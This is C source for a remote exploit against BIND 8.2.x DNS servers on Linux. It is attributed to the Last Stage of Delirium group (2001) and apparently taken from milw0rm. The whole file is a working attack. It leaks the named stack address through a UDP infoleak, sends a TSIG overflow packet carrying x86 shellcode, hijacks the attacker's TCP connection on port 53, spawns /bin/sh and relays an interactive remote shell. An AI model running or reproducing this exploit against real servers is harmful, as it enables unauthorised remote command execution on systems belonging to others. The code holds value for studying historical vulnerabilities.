/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland *://lsd-pl.net/ #*/ /*## bind 8.2 8.2.1 8.2.2 8.2.2-PX Slackware 4.0/RedHat 6.2 #*/ /* The code establishes a TCP connection with port 53 of a target system. */ /* It makes use of the "infoleak" bug (through UDP) to obtain the base */ /* value of the named process frame stack pointer, which is later used */ /* for constructing proper DNS tsig exploit packet. */ /* */ /* Upon successful exploitation the assembly routine gets executed. It */ /* walks the descriptor table of the exploited named process in a search */ /* for the socket descriptor of the previously established TCP connection. */ /* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh */ /* is spawned. */ /* */ /* The use of such an assembly routine allows successfull exploitation of */ /* the vulnerability in the case when vulnerable dns servers are protected */ /* by tightly configured firewall systems (with only 53 tcp/udp port open). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <rpc/rpc.h> #include <netdb.h> #include <stdio.h> #include <errno.h> char msg[]={ 0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01, 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00, 0x01,0x20,0x20,0x20,0x20,0x02,0x61 }; char asmcode[]= "\x3f" /* label len 63 */ "\x90\x90\x90" /* padding */ "\xeb\x3b" /* jmp <asmcode+65> */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x5f" /* popl %edi */ "\x83\xef\x7c" /* sub $0x7c,%edi */ "\x8d\x77\x10" /* leal 0x10(%edi),%esi */ "\x89\x77\x04" /* movl %esi,0x4(%edi) */ "\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */ "\x89\x4f\x08" /* movl %ecx,0x8(%edi) */ "\xb3\x10" /* movb $0x10,%bl */ "\x89\x19" /* movl %ebx,(%ecx) */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\xff" /* movb $0xff,%cl */ "\x89\x0f" /* movl %ecx,(%edi) */ "\x51" /* pushl %ecx */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x07" /* movb $0x7,%bl */ "\x89\xf9" /* movl %edi,%ecx */ "\xcd\x80" /* int $0x80 */ "\x59" /* popl %ecx */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x39\xd8" /* cmpl %ebx,%eax */ "\x75\x0a" /* jne <asmcode+62> */ "\x66\xbb\x12\x34" /* movw $0x1234,%bx */ "\x66\x39\x5e\x02" /* cmpw %bx,0x2(%esi) */ "\x74\x08" /* je <asmcode+70> */ "\xe2\xe0" /* loop <asmcode+32> */ "\x3f" /* label len 63 */ "\xe8\xc0\xff\xff\xff" /* call <asmcode+6> */ "\x89\xcb" /* movl %ecx,%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x03" /* movb $0x03,%cl */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x3f" /* movb $0x3f,%al */ "\x49" /* decl %ecx */ "\xcd\x80" /* int $0x80 */ "\x41" /* incl %ecx */ "\xe2\xf6" /* loop <asmcode+76> */ "\xeb\x14" /* jmp <asmcode+108> */ "\x31\xc0" /* xorl %eax,%eax */ "\x5b" /* popl %ebx */ "\x8d\x4b\x14" /* leal 0x14(%ebx),%ecx */ "\x89\x19" /* movl %ebx,(%ecx) */ "\x89\x43\x18" /* movl %eax,0x18(%ebx) */ "\x88\x43\x07" /* movb %al,0x7(%ebx) */ "\x31\xd2" /* xorl %edx,%edx */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80" /* int $0x80 */ "\xe8\xe7\xff\xff\xff" /* call <asmcode+88> */ "/bin/sh" "\x90\x90\x90\x90" /* padding */ "\x90\x90\x90\x90" ; int rev(int a){ int i=1; if((*(char*)&i)) return(a); return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24); } int main(int argc,char **argv){ char buffer[1024],*b; int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1; struct hostent *hp; struct sockaddr_in adr; printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/\n"); printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86\n\n"); if(argc<2){ printf("usage: %s address [-s][-e]\n",argv[0]); printf(" -s send infoleak packet\n"); printf(" -e send exploit packet\n"); exit(-1); } while((c=getopt(argc-1,&argv[1],"se"))!=-1){ switch(c){ case 's': flag=1;break; case 'e': flag=2; } } if(flag==-1) exit(-1); adr.sin_family=AF_INET; adr.sin_port=htons(53); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) { if((hp=gethostbyname(argv[1]))==NULL) { errno=EADDRNOTAVAIL;goto err; } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } sck[0]=socket(AF_INET,SOCK_DGRAM,0); sck[1]=socket(AF_INET,SOCK_STREAM,0); if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err; if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err; i=sizeof(struct sockaddr_in); if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){ struct netbuf {unsigned int maxlen;unsigned int len;char *buf;}; struct netbuf nb; ioctl(sck[1],(('S'<<8)|2),"sockmod"); nb.maxlen=0xffff; nb.len=sizeof(struct sockaddr_in);; nb.buf=(char*)&adr; ioctl(sck[1],(('T'<<8)|144),&nb); } n=ntohs(adr.sin_port); asmcode[4+48+2]=(unsigned char)((n>>8)&0xff); asmcode[4+48+3]=(unsigned char)(n&0xff); if(write(sck[0],msg,sizeof(msg))==-1) goto err; if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err; printf("stack dump:\n"); for(i=0;i<(cnt-512);i++){ printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned char)buffer[512+i]); } printf("\n\n"); fp=rev(*(unsigned int*)&buffer[532]); ofs=0xfe-((fp-(fp&0xffffff00))&0xff); cnt=163; if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){ printf("system does not seem to be a vulnerable linux\n");exit(1); } if(flag==1){ printf("system seems to be running bind 8.2.x on a linux\n");exit(-1); } if(cnt<(ofs+28)){ printf("frame ptr is too low to be successfully exploited\n");exit(-1); } jmp=rev(fp-586); ptr6=rev((fp&0xffffff00)-12); fp=rev(fp&0xffffff00); printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs); printf("port=%04x connected! ",(unsigned short)n);fflush(stdout); b=buffer; memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12; for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i]; for(i=0;i<(128>>1);i++,b++) *b++=0x01; memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5; for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01; *b++=28; memcpy(b,"\x06\x00\x00\x00",4);b+=4; memcpy(b,&fp,4);b+=4; memcpy(b,"\x06\x00\x00\x00",4);b+=4; memcpy(b,&jmp,4);b+=4; memcpy(b,&jmp,4);b+=4; memcpy(b,&fp,4);b+=4; memcpy(b,&ptr6,4);b+=4; cnt-=ofs+28; for(i=0;i<(cnt>>1);i++,b++) *b++=0x01; memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9; if(write(sck[0],buffer,b-buffer)==-1) goto err; sleep(1);printf("sent!\n"); write(sck[1],"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck[1],&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sck[1],buf,cnt); } if(FD_ISSET(sck[1],&fds)){ if((cnt=read(sck[1],buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } exit(0); err: perror("error");exit(-1); } // milw0rm.com [2001-03-01]